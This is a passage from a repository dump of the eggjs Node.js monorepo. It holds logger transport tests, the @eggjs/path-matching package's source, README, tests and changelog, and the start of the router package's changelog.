assert.match(content, /info foo\\r?\\n/);\n    assert.match(content, /warn foo\\r?\\n/);\n    assert.match(content, /error foo\\r?\\n/);\n    logger.close();\n  });\n\n  it('should support gbk encoding', async () => {\n    const logger = new Logger();\n    logger.set('file', new FileTransport({ file: filepath, level: 'INFO', encoding: 'gbk' }));\n    logger.info('info foo 中文');\n    await sleep(10);\n    const content = fs.readFileSync(filepath);\n    assert.strictEqual(iconv.decode(content, 'gbk'), 'info foo 中文' + os.EOL);\n    logger.close();\n  });\n\n  it('should set level by number', async () => {\n    const logger = new Logger();\n    logger.set('file', new FileTransport({ file: filepath, level: levels.ERROR }));\n    logger.info('info foo');\n    logger.error('error foo');\n    await sleep(10);\n    const content = fs.readFileSync(filepath, 'utf8');\n    assert.doesNotMatch(content, /info foo/);\n    assert.match(content, /error foo/);\n    logger.close();\n  });\n\n  it('should reload stream', async () => {\n    const logger = new Logger();\n    logger.set('file', new FileTransport({ file: filepath, level: 'INFO' }));\n    logger.info('foo1');\n    await sleep(10);\n    assert.strictEqual(fs.readFileSync(filepath, 'utf8'), 'foo1' + os.EOL);\n    logger.reload();\n    logger.info('foo2');\n    await sleep(10);\n    assert.strictEqual(fs.readFileSync(filepath, 'utf8'), 'foo1' + os.EOL + 'foo2' + os.EOL);\n    logger.close();\n  });\n\n  it('should use formatter', async () => {\n    const logger = new Logger();\n    logger.set(\n      'file',\n      new FileTransport({\n        file: filepath,\n        level: 'INFO',\n        formatter: (meta) => `${meta.level} ${meta.message}`,\n      }),\n    );\n    logger.info('info foo');\n    await sleep(10);\n    assert.strictEqual(fs.readFileSync(filepath, 'utf8'), 'INFO info foo' + os.EOL);\n    logger.close();\n  });\n});\n"
  },
  {
    "path": "packages/logger/test/lib/transports/file_buffer.test.ts",
    "content": "import assert from 'node:assert';\nimport fs from 'node:fs';\nimport os from 'node:os';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nimport mm from 'mm';\nimport { describe, it, beforeEach, afterEach, afterAll } from 'vitest';\n\nimport { FileBufferTransport, Logger } from '../../../src/index.ts';\nimport { sleep, rimraf } from '../../utils.ts';\n\nconst __dirname = path.dirname(fileURLToPath(import.meta.url));\n\ndescribe('test/lib/transports/file_buffer.test.ts', () => {\n  const tmp = path.join(__dirname, '../../fixtures/tmp_file_buffer');\n  let filepath: string;\n\n  beforeEach(() => {\n    filepath = path.join(tmp, `transports_file_buffer_${Date.now()}`, 'a.log');\n  });\n  afterEach(() => {\n    mm.restore();\n  });\n  afterAll(async () => {\n    await rimraf(tmp);\n  });\n\n  it('should write to file after flushInterval hit', async () => {\n    const logger = new Logger();\n    const transport = new FileBufferTransport({ file: filepath, level: 'INFO' });\n    logger.set('file', transport);\n    logger.info('info foo');\n\n    await sleep(100);\n    assert.strictEqual(transport._buf.length > 0, true);\n    assert.strictEqual(fs.readFileSync(filepath, 'utf8'), '');\n\n    await sleep(1000);\n    assert.strictEqual(fs.readFileSync(filepath, 'utf8'), 'info foo' + os.EOL);\n    logger.close();\n  });\n\n  it('should close timer after transport close', () => {\n    const transport = new FileBufferTransport({ file: filepath, level: 'INFO' });\n    transport.close();\n    assert.strictEqual(transport._timer, null);\n  });\n\n  it('should flush on close', async () => {\n    const logger = new Logger();\n    const transport = new FileBufferTransport({ file: filepath, level: 'INFO' });\n    logger.set('file', transport);\n    logger.info('foo1');\n    logger.info('foo2');\n    logger.close();\n    await sleep(10);\n    const content = fs.readFileSync(filepath, 'utf8');\n    assert.strictEqual(content, 'foo1' + os.EOL + 'foo2' + os.EOL);\n  });\n\n  it('should flush when maxBufferLength exceeded', async () => {\n    const logger = new Logger();\n    logger.set('file', new FileBufferTransport({ file: filepath, level: 'INFO', maxBufferLength: 2 }));\n    logger.info('foo1');\n    logger.info('foo2');\n    logger.info('foo3');\n    await sleep(10);\n    const content = fs.readFileSync(filepath, 'utf8');\n    assert.strictEqual(content, 'foo1' + os.EOL + 'foo2' + os.EOL + 'foo3' + os.EOL);\n    logger.close();\n  });\n});\n"
  },
  {
    "path": "packages/logger/test/lib/transports/transport.test.ts",
    "content": "import assert from 'node:assert';\nimport os from 'node:os';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nimport mm from 'mm';\nimport { describe, it, beforeEach, afterEach, afterAll } from 'vitest';\n\nimport { levels, Transport, FileTransport, FileBufferTransport, ConsoleTransport } from '../../../src/index.ts';\nimport { rimraf } from '../../utils.ts';\n\nconst __dirname = path.dirname(fileURLToPath(import.meta.url));\n\ndescribe('test/lib/transports/transport.test.ts', () => {\n  const tmp = path.join(__dirname, '../../fixtures/tmp_transport');\n  let filepath: string;\n\n  beforeEach(() => {\n    filepath = path.join(tmp, `transport-${Date.now()}`, 'a.log');\n  });\n\n  afterEach(() => {\n    mm.restore();\n  });\n\n  afterAll(async () => {\n    await rimraf(tmp);\n  });\n\n  it('should always create new options', () => {\n    const options = {};\n    const transport = new Transport(options);\n    assert(transport.options !== options);\n  });\n\n  it('Transport default params', () => {\n    const transport = new Transport();\n    assert.deepStrictEqual(transport.options, {\n      level: levels.NONE,\n      formatter: null,\n      contextFormatter: null,\n      json: false,\n      encoding: 'utf8',\n      eol: os.EOL,\n    });\n  });\n\n  it('should override Transport default params', () => {\n    const formatter = (meta: object) => meta;\n    const transport = new Transport({ level: 'INFO', formatter: formatter as never });\n    assert.strictEqual(transport.options.level, levels.INFO);\n    assert.strictEqual(transport.options.formatter, formatter);\n  });\n\n  it('should not log when disabled', () => {\n    const transport = new Transport({ level: 'INFO' });\n    assert.strictEqual(transport.enabled, true);\n    transport.disable();\n    assert.strictEqual(transport.enabled, false);\n    assert.strictEqual(transport.shouldLog('INFO'), false);\n    transport.enable();\n    assert.strictEqual(transport.enabled, true);\n  });\n\n  it('should set level', () => {\n    const transport = new Transport({ level: 'INFO' });\n    assert.strictEqual(transport.level, levels.INFO);\n    transport.level = 'WARN';\n    assert.strictEqual(transport.level, levels.WARN);\n  });\n\n  it('FileTransport default level should be INFO', () => {\n    const transport = new FileTransport({ file: filepath });\n    assert.strictEqual(transport.level, levels.INFO);\n    transport.close();\n  });\n\n  it('FileBufferTransport default level should be INFO', () => {\n    const transport = new FileBufferTransport({ file: filepath });\n    assert.strictEqual(transport.level, levels.INFO);\n    transport.close();\n  });\n\n  it('ConsoleTransport default stderrLevel should be ERROR', () => {\n    const transport = new ConsoleTransport();\n    assert.strictEqual(transport.options.stderrLevel, levels.ERROR);\n  });\n});\n"
  },
  {
    "path": "packages/logger/test/lib/utils.test.ts",
    "content": "import assert from 'node:assert';\n\nimport { describe, it } from 'vitest';\n\nimport { formatError } from '../../src/index.ts';\n\ndescribe('test/lib/utils.test.ts', () => {\n  describe('formatError', () => {\n    it('should format with no cause', () => {\n      const rootError = new Error('root error');\n      const msg = formatError(rootError);\n      assert(msg.match(/nodejs\\.Error: root error/));\n      assert(msg.match(/pid: /));\n      assert(msg.match(/hostname: /));\n    });\n\n    it('should format with cause', () => {\n      const rootError = new Error('root error');\n      const error = new Error('mock error', { cause: rootError });\n      const msg = formatError(error);\n      assert(msg.match(/nodejs\\.Error: mock error/));\n      assert(msg.match(/cause:/));\n      assert(msg.match(/nodejs\\.Error: root error/));\n    });\n\n    it('should format AggregateError', () => {\n      const e1 = new Error('e1');\n      const e2 = new Error('e2');\n      const aggregate = new AggregateError([e1, e2], 'aggregate error');\n      const msg = formatError(aggregate);\n      assert(msg.match(/nodejs\\.AggregateError: aggregate error/));\n      assert(msg.match(/\\[error-0\\]:/));\n      assert(msg.match(/\\[error-1\\]:/));\n    });\n  });\n});\n"
  },
  {
    "path": "packages/logger/test/utils.ts",
    "content": "import { rm } from 'node:fs/promises';\n\nexport function sleep(ms: number): Promise<void> {\n  return new Promise((resolve) => setTimeout(resolve, ms));\n}\n\nexport async function rimraf(file: string): Promise<void> {\n  try {\n    await rm(file, { force: true, recursive: true });\n  } catch {\n    // ignore error\n  }\n}\n"
  },
  {
    "path": "packages/logger/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\"\n}\n"
  },
  {
    "path": "packages/logger/vitest.config.ts",
    "content": "import { defineProject, type UserWorkspaceConfig } from 'vitest/config';\n\nconst config: UserWorkspaceConfig = defineProject({\n  test: {\n    testTimeout: 30000,\n    include: ['test/**/*.test.ts'],\n    exclude: ['**/test/fixtures/**', '**/node_modules/**', '**/dist/**'],\n    fileParallelism: false,\n  },\n});\n\nexport default config;\n"
  },
  {
    "path": "packages/path-matching/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 3.0.0+\n    \n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n## [2.1.0](https://github.com/eggjs/egg-path-matching/compare/v2.0.0...v2.1.0) (2024-09-18)\n\n\n### Features\n\n* use path-to-regexp@6.3.0 ([#10](https://github.com/eggjs/egg-path-matching/issues/10)) ([b059f04](https://github.com/eggjs/egg-path-matching/commit/b059f04da680010b6cd506a4950bbd120cc78e95))\n\n## [2.0.0](https://github.com/eggjs/egg-path-matching/compare/v1.1.0...v2.0.0) (2024-06-15)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 18.19.0 support\n\nhttps://github.com/eggjs/egg/issues/5257\n\n### Features\n\n* support cjs and esm both ([#8](https://github.com/eggjs/egg-path-matching/issues/8)) ([a092108](https://github.com/eggjs/egg-path-matching/commit/a092108f1552296ea7ba060300bf580f3a6a5d2e))\n\n## [1.1.0](https://github.com/eggjs/egg-path-matching/compare/v1.0.1...v1.1.0) (2023-12-14)\n\n\n### Features\n\n* use github action and auto release ([#6](https://github.com/eggjs/egg-path-matching/issues/6)) ([1eb34da](https://github.com/eggjs/egg-path-matching/commit/1eb34da16f9676737bbc1fd95fc73ae26e8e5b39))\n\n1.0.1 / 2017-11-15\n==================\n\n**fixes**\n  * [[`6e94f78`](http://github.com/eggjs/egg-path-matching/commit/6e94f78d1229e85a2420274cf3e17c0c7c41c15b)] - fix: reset lastIndex when pattern used the \"g\" flag (#1) (eric.zhang <<910261782@qq.com>>)\n\n**others**\n  * [[`ca6187d`](http://github.com/eggjs/egg-path-matching/commit/ca6187dd5499f681d5d820541e82210e82019055)] - docs: fix badges (dead-horse <<dead_horse@qq.com>>)\n  * [[`f7d936b`](http://github.com/eggjs/egg-path-matching/commit/f7d936b16d26fb16ea4e5af56f8ced729331f8ae)] - build: add more scripts (dead-horse <<dead_horse@qq.com>>)\n\n1.0.0 / 2016-11-15\n==================\n\n  * feat: add autod config\n  * test: build test on node@4,5,6\n  * feat: first implement\n"
  },
  {
    "path": "packages/path-matching/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2016-present Alibaba Group Holding Limited and other contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "packages/path-matching/README.md",
    "content": "# @eggjs/path-matching\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/path-matching.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/path-matching\n[snyk-image]: https://snyk.io/test/npm/@eggjs/path-matching/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/path-matching/badge.svg?style=flat-square\n[download-image]: https://img.shields.io/npm/dm/@eggjs/path-matching.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/path-matching\n\n## Installation\n\n```bash\nnpm install @eggjs/path-matching\n```\n\n## Usage\n\n```ts\nimport { pathMatching } from '@eggjs/path-matching';\n\nconst options = {\n  ignore: '/api', // string will use parsed by path-to-regexp\n  // support regexp\n  ignore: /^\\/api/,\n  // support function\n  ignore: ctx => ctx.path.startsWith('/api'),\n  // support Array\n  ignore: [ctx => ctx.path.startsWith('/api'), /^\\/foo$/, '/bar'],\n  // support match or ignore\n  match: '/api',\n  // custom path-to-regexp module, default is `path-to-regexp@6`\n  // pathToRegexpModule: customPathToRegexp,\n};\n\nconst match = pathMatching(options);\nassert.equal(match({ path: '/api' }), true);\nassert.equal(match({ path: '/api/hello' }), true);\nassert.equal(match({ path: '/api' }), true);\n```\n\n### options\n\n- `match` {String | RegExp | Function | Array} - if request path hit `options.match`, will return `true`, otherwise will return `false`.\n- `ignore` {String | RegExp | Function | Array} - if request path hit `options.ignore`, will return `false`, otherwise will return `true`.\n- `pathToRegexpModule` {Object | Function} - custom path-to-regexp module. Default is `path-to-regexp@6`. Supports both `path-to-regexp@6` and `path-to-regexp@8+` formats.\n\n`ignore` and `match` can not both be presented.\nand if neither `ignore` nor `match` presented, the new function will always return `true`.\n\n### License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "packages/path-matching/package.json",
    "content": "{\n  \"name\": \"@eggjs/path-matching\",\n  \"version\": \"3.0.2-beta.5\",\n  \"description\": \"match or ignore url path\",\n  \"keywords\": [\n    \"ignore\",\n    \"match\",\n    \"url\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/packages/path-matching\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": {\n    \"name\": \"dead-horse\",\n    \"email\": \"dead_horse@qq.com\",\n    \"url\": \"http://deadhorse.me\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"packages/path-matching\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"path-to-regexp\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/tsconfig\": \"workspace:*\",\n    \"@types/node\": \"catalog:\",\n    \"path-to-regexp-v8\": \"npm:path-to-regexp@^8.3.0\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "packages/path-matching/src/index.ts",
    "content": "import { pathToRegexp } from 'path-to-regexp';\n\nexport type PathMatchingFun = (ctx: any) => boolean;\n\nexport type PathMatchingPattern = string | RegExp | PathMatchingFun | (string | RegExp | PathMatchingFun)[];\n\nexport interface PathMatchingOptions {\n  ignore?: PathMatchingPattern;\n  match?: PathMatchingPattern;\n  pathToRegexpModule?: any;\n}\n\nexport function pathMatching(options: PathMatchingOptions): PathMatchingFun {\n  options = options || {};\n  if (options.match && options.ignore) {\n    throw new Error('options.match and options.ignore can not both present');\n  }\n  if (!options.match && !options.ignore) {\n    return () => true;\n  }\n\n  const pathToRegexpModule = options.pathToRegexpModule || { pathToRegexp };\n  const pathToRegexpFn = pathToRegexpModule.pathToRegexp || pathToRegexpModule;\n  const matchFn = options.match\n    ? toPathMatch(options.match, pathToRegexpFn)\n    : toPathMatch(options.ignore!, pathToRegexpFn);\n\n  return function pathMatch(ctx: any) {\n    const matched = matchFn(ctx);\n    return options.match ? matched : !matched;\n  };\n}\n\nfunction toPathMatch(pattern: PathMatchingPattern, pathToRegexpFn: any): PathMatchingFun {\n  if (typeof pattern === 'string') {\n    let reg = pathToRegexpFn(pattern, [], { end: false });\n    if (reg.regexp) {\n      // support path-to-regexp@8\n      // => const { regexp, keys } = pathToRegexp(\"/foo/:bar\");\n      reg = reg.regexp;\n    }\n    if (reg.global) reg.lastIndex = 0;\n    return (ctx) => reg.test(ctx.path);\n  }\n  if (pattern instanceof RegExp) {\n    return (ctx) => {\n      if (pattern.global) {\n        pattern.lastIndex = 0;\n      }\n      return pattern.test(ctx.path);\n    };\n  }\n  if (typeof pattern === 'function') return pattern;\n  if (Array.isArray(pattern)) {\n    const matchFns = pattern.map((item) => toPathMatch(item, pathToRegexpFn));\n    return (ctx) => matchFns.some((matchFn) => matchFn(ctx));\n  }\n  throw new Error(`match/ignore pattern must be RegExp, Array or String, but got ${pattern}`);\n}\n"
  },
  {
    "path": "packages/path-matching/test/index.test.ts",
    "content": "import { describe, it, expect } from 'vitest';\n\nimport { pathMatching as match } from '../src/index.ts';\n\ndescribe('index.test.ts', () => {\n  it('options.match and options.ignore both present should throw', () => {\n    expect(() => {\n      match({ ignore: '/api', match: '/dashboard' });\n    }).toThrow('options.match and options.ignore can not both present');\n  });\n\n  it('options.match and options.ignore both not present should always return true', () => {\n    const fn = match({});\n    expect(fn({})).toBe(true);\n  });\n\n  describe('match', () => {\n    it('support string', () => {\n      const fn = match({ match: '/api' });\n      expect(fn({ path: '/api/hello' })).toBe(true);\n      expect(fn({ path: '/api/' })).toBe(true);\n      expect(fn({ path: '/api' })).toBe(true);\n      expect(fn({ path: '/api1/hello' })).toBe(false);\n      expect(fn({ path: '/api1' })).toBe(false);\n    });\n\n    it('support custom pathToRegexpModule', async () => {\n      const pathToRegexpV8 = await import('path-to-regexp-v8');\n      const fn = match({\n        match: '/api{/*path}',\n        pathToRegexpModule: pathToRegexpV8,\n      });\n      expect(fn({ path: '/api/hello' })).toBe(true);\n      expect(fn({ path: '/api/' })).toBe(true);\n      expect(fn({ path: '/api' })).toBe(true);\n      expect(fn({ path: '/api1/hello' })).toBe(false);\n      expect(fn({ path: '/api1' })).toBe(false);\n    });\n\n    it('support regexp', () => {\n      const fn = match({ match: /^\\/api/ });\n      expect(fn({ path: '/api/hello' })).toBe(true);\n      expect(fn({ path: '/api/' })).toBe(true);\n      expect(fn({ path: '/api' })).toBe(true);\n      expect(fn({ path: '/api1/hello' })).toBe(true);\n      expect(fn({ path: '/api1' })).toBe(true);\n      expect(fn({ path: '/v1/api1' })).toBe(false);\n    });\n\n    it('support global regexp', () => {\n      const fn = match({ match: /^\\/api/g });\n      expect(fn({ path: '/api/hello' })).toBe(true);\n      expect(fn({ path: '/api/' })).toBe(true);\n      expect(fn({ path: '/api' })).toBe(true);\n      expect(fn({ path: '/api1/hello' })).toBe(true);\n      expect(fn({ path: '/api1' })).toBe(true);\n      expect(fn({ path: '/v1/api1' })).toBe(false);\n    });\n\n    it('support function', () => {\n      const fn = match({\n        match: (ctx) => ctx.path.startsWith('/api'),\n      });\n      expect(fn({ path: '/api/hello' })).toBe(true);\n      expect(fn({ path: '/api/' })).toBe(true);\n      expect(fn({ path: '/api' })).toBe(true);\n      expect(fn({ path: '/api1/hello' })).toBe(true);\n      expect(fn({ path: '/api1' })).toBe(true);\n      expect(fn({ path: '/v1/api1' })).toBe(false);\n    });\n\n    it('support array', () => {\n      const fn = match({\n        match: [(ctx) => ctx.path.startsWith('/api'), '/ajax', /^\\/foo$/],\n      });\n      expect(fn({ path: '/api/hello' })).toBe(true);\n      expect(fn({ path: '/api/' })).toBe(true);\n      expect(fn({ path: '/api' })).toBe(true);\n      expect(fn({ path: '/api1/hello' })).toBe(true);\n      expect(fn({ path: '/api1' })).toBe(true);\n      expect(fn({ path: '/v1/api1' })).toBe(false);\n      expect(fn({ path: '/ajax/hello' })).toBe(true);\n      expect(fn({ path: '/foo' })).toBe(true);\n    });\n  });\n\n  describe('ignore', () => {\n    it('support string', () => {\n      const fn = match({ ignore: '/api' });\n      expect(fn({ path: '/api/hello' })).toBe(false);\n      expect(fn({ path: '/api/' })).toBe(false);\n      expect(fn({ path: '/api' })).toBe(false);\n      expect(fn({ path: '/api1/hello' })).toBe(true);\n      expect(fn({ path: '/api1' })).toBe(true);\n    });\n\n    it('support regexp', () => {\n      const fn = match({ ignore: /^\\/api/ });\n      expect(fn({ path: '/api/hello' })).toBe(false);\n      expect(fn({ path: '/api/' })).toBe(false);\n      expect(fn({ path: '/api' })).toBe(false);\n      expect(fn({ path: '/api1/hello' })).toBe(false);\n      expect(fn({ path: '/api1' })).toBe(false);\n      expect(fn({ path: '/v1/api1' })).toBe(true);\n    });\n\n    it('support global regexp', () => {\n      const fn = match({ ignore: /^\\/api/g });\n      expect(fn({ path: '/api/hello' })).toBe(false);\n      expect(fn({ path: '/api/' })).toBe(false);\n      expect(fn({ path: '/api' })).toBe(false);\n      expect(fn({ path: '/api1/hello' })).toBe(false);\n      expect(fn({ path: '/api1' })).toBe(false);\n      expect(fn({ path: '/v1/api1' })).toBe(true);\n    });\n\n    it('support function', () => {\n      const fn = match({\n        ignore: (ctx) => ctx.path.startsWith('/api'),\n      });\n      expect(fn({ path: '/api/hello' })).toBe(false);\n      expect(fn({ path: '/api/' })).toBe(false);\n      expect(fn({ path: '/api' })).toBe(false);\n      expect(fn({ path: '/api1/hello' })).toBe(false);\n      expect(fn({ path: '/api1' })).toBe(false);\n      expect(fn({ path: '/v1/api1' })).toBe(true);\n    });\n\n    it('support array', () => {\n      const fn = match({\n        ignore: [(ctx) => ctx.path.startsWith('/api'), '/ajax', /^\\/foo$/],\n      });\n      expect(fn({ path: '/api/hello' })).toBe(false);\n      expect(fn({ path: '/api/' })).toBe(false);\n      expect(fn({ path: '/api' })).toBe(false);\n      expect(fn({ path: '/api1/hello' })).toBe(false);\n      expect(fn({ path: '/api1' })).toBe(false);\n      expect(fn({ path: '/v1/api1' })).toBe(true);\n      expect(fn({ path: '/ajax/hello' })).toBe(false);\n      expect(fn({ path: '/foo' })).toBe(false);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/path-matching/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\"\n}\n"
  },
  {
    "path": "packages/path-matching/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "packages/router/.gitignore",
    "content": "!bench/run\n"
  },
  {
    "path": "packages/router/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n## [3.0.6](https://github.com/eggjs/router/compare/v3.0.5...v3.0.6) (2025-03-27)\n\n\n### Bug Fixes\n\n* resources should support multiple middlewares ([#21](https://github.com/eggjs/router/issues/21)) ([acb9c4b](https://github.com/eggjs/router/commit/acb9c4b3e91f7cad0f9605e3a2ca5e68dad270b9))\n\n## [3.0.5](https://github.com/eggjs/egg-router/compare/v3.0.4...v3.0.5) (2024-06-16)\n\n\n### Bug Fixes\n\n* should support urls with controller string ([#15](https://github.com/eggjs/egg-router/issues/15)) ([b645095](https://github.com/eggjs/egg-router/commit/b6450955716eb7d965c357058cf5b93f9e49353f))\n\n## [3.0.4](https://github.com/eggjs/egg-router/compare/v3.0.3...v3.0.4) (2024-06-16)\n\n\n### Bug Fixes\n\n* should bind ctx to egg router controller this context ([#14](https://github.com/eggjs/egg-router/issues/14)) ([b5b5588](https://github.com/eggjs/egg-router/commit/b5b55887b90e77f2f19033c814b604301a6308e2))\n\n## [3.0.3](https://github.com/eggjs/egg-router/compare/v3.0.2...v3.0.3) (2024-06-16)\n\n\n### Bug Fixes\n\n* debug keyword use package.name + filename ([#13](https://github.com/eggjs/egg-router/issues/13)) ([3882819](https://github.com/eggjs/egg-router/commit/38828192d453234fe93bf4f23e1f1271645e4c85))\n\n## [3.0.2](https://github.com/eggjs/egg-router/compare/v3.0.1...v3.0.2) (2024-06-16)\n\n\n### Bug Fixes\n\n* support router.verb(method, path, controllerString) ([#12](https://github.com/eggjs/egg-router/issues/12)) ([34cea74](https://github.com/eggjs/egg-router/commit/34cea74a52a6651b5a5b30c4b2aee1c0776477a2))\n\n## [3.0.1](https://github.com/eggjs/egg-router/compare/v3.0.0...v3.0.1) (2024-06-15)\n\n\n### Bug Fixes\n\n* export types like ResourcesController ([#11](https://github.com/eggjs/egg-router/issues/11)) ([83d3309](https://github.com/eggjs/egg-router/commit/83d3309f7434bbd9a5f85efc5b52fa34dd0fe81d))\n\n## [3.0.0](https://github.com/eggjs/egg-router/compare/v2.0.1...v3.0.0) (2024-06-11)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 18.19.0 support\n\n- Drop generator function support\n- Drop Node.js < 18.19.0 support\n\n<!-- This is an auto-generated comment: release notes by coderabbit.ai\n-->\n\n## Summary by CodeRabbit\n\n- **New Features**\n- Introduced `EggRouter` class for defining RESTful routes and handling\nHTTP verbs.\n- Added new utility functions and type definitions to support enhanced\nrouting and middleware functionalities.\n\n- **Bug Fixes**\n- Updated test cases to ensure compatibility with new routing and\nmiddleware functionalities.\n\n- **Documentation**\n- Updated examples in the `README.md` to reflect TypeScript syntax and\nES module imports.\n- Mentioned breaking changes for version 3, including dropping support\nfor generator functions and Node.js versions below 18.7.0.\n\n- **Breaking Changes**\n  - Dropped support for generator functions.\n  - Dropped support for Node.js versions below 18.7.0.\n\n- **Chores**\n  - Updated Node.js versions in the GitHub Actions workflow.\n  - Modified `.gitignore` to include additional patterns.\n  - Updated dependencies and dev dependencies in `package.json`.\n- Added new scripts for linting, testing, and pre-publish actions in\n`package.json`.\n  - Introduced a new `tsconfig.json` for strict TypeScript settings.\n\n<!-- end of auto-generated comment: release notes by coderabbit.ai -->\n\n### Features\n\n* support cjs and esm both ([#10](https://github.com/eggjs/egg-router/issues/10)) ([55149bc](https://github.com/eggjs/egg-router/commit/55149bc871def88d190e856e81cb9a48f18f3979))\n\n2.0.1 / 2021-07-12\n==================\n\n**fixes**\n  * [[`2c44ec0`](http://github.com/eggjs/egg-router/commit/2c44ec0bdeff1e8f46d899ed4386d1e28a93a854)] - fix: ensure ctx._matchedRoute and ctx._matchedRouteName to be correct (#7) (Yiyu He <<dead_horse@qq.com>>)\n\n2.0.0 / 2019-02-14\n==================\n\n**features**\n  * [[`f0b29ec`](https://github.com/eggjs/egg-router/commit/f0b29ec34df32ba9d872f6318f4febd2b4ef9359)] - refactor: use class instead prototype (#4) (fengmk2 <<fengmk2@gmail.com>>)\n\n1.2.0 / 2019-02-13\n==================\n\n**features**\n  * [[`1a0036a`](http://github.com/eggjs/egg-router/commit/1a0036a64a023b6b7993fecffe8062d5d0150971)] - feat: add routerPath to respond to routerName (#2) (Khaidi Chu <<i@2333.moe>>)\n\n**others**\n  * [[`ff723fd`](http://github.com/eggjs/egg-router/commit/ff723fd03630ec49d5fe861abf129a583d214d22)] - chore: add koa-router license (#3) (fengmk2 <<fengmk2@gmail.com>>)\n\n1.1.0 / 2019-01-30\n==================\n\n**features**\n  * [[`b318dd5`](http://github.com/eggjs/egg-router/commit/b318dd5ff2eea60013ed62b2a435f803c12bf20f)] - feat: add egg-router (dead-horse <<dead_horse@qq.com>>)\n\n**fixes**\n  * [[`b3db7b4`](http://github.com/eggjs/egg-router/commit/b3db7b41988d3bf1b4e885ed76b3a8165c1d3b1d)] - fix: add missing dependencies koa-convert (dead-horse <<dead_horse@qq.com>>)\n  * [[`c280336`](http://github.com/eggjs/egg-router/commit/c2803368a8256bc9504ae3c821eefeb9d1fcbc4d)] - fix: only support node@8 (dead-horse <<dead_horse@qq.com>>)\n  * [[`7a887a2`](http://github.com/eggjs/egg-router/commit/7a887a252445e602c2ea7e1c6f4cde52a433644d)] - fix: update license (dead-horse <<dead_horse@qq.com>>)\n\n**others**\n  * [[`ae40168`](http://github.com/eggjs/egg-router/commit/ae4016862fb8bdaf30e730a9278fbb1455d8b75d)] - docs: clean doc (dead-horse <<dead_horse@qq.com>>)\n  * [[`e4f21a8`](http://github.com/eggjs/egg-router/commit/e4f21a8ed6dfd72c4d6f4a13bbda9a4e90b0401c)] - chore: fix history (dead-horse <<dead_horse@qq.com>>)\n\n1.0.0 / 2019-01-30\n==================\n\n**others**\n  * [[`d6496e0`](http://github.com/eggjs/egg-router/commit/d6496e09be6b0f91dcb96611f31ec5ab6ad8ac78)] - refactor: rename to @eggjs/router (dead-horse <<dead_horse@qq.com>>)\n\n-------------------------------\n\n# Release History from 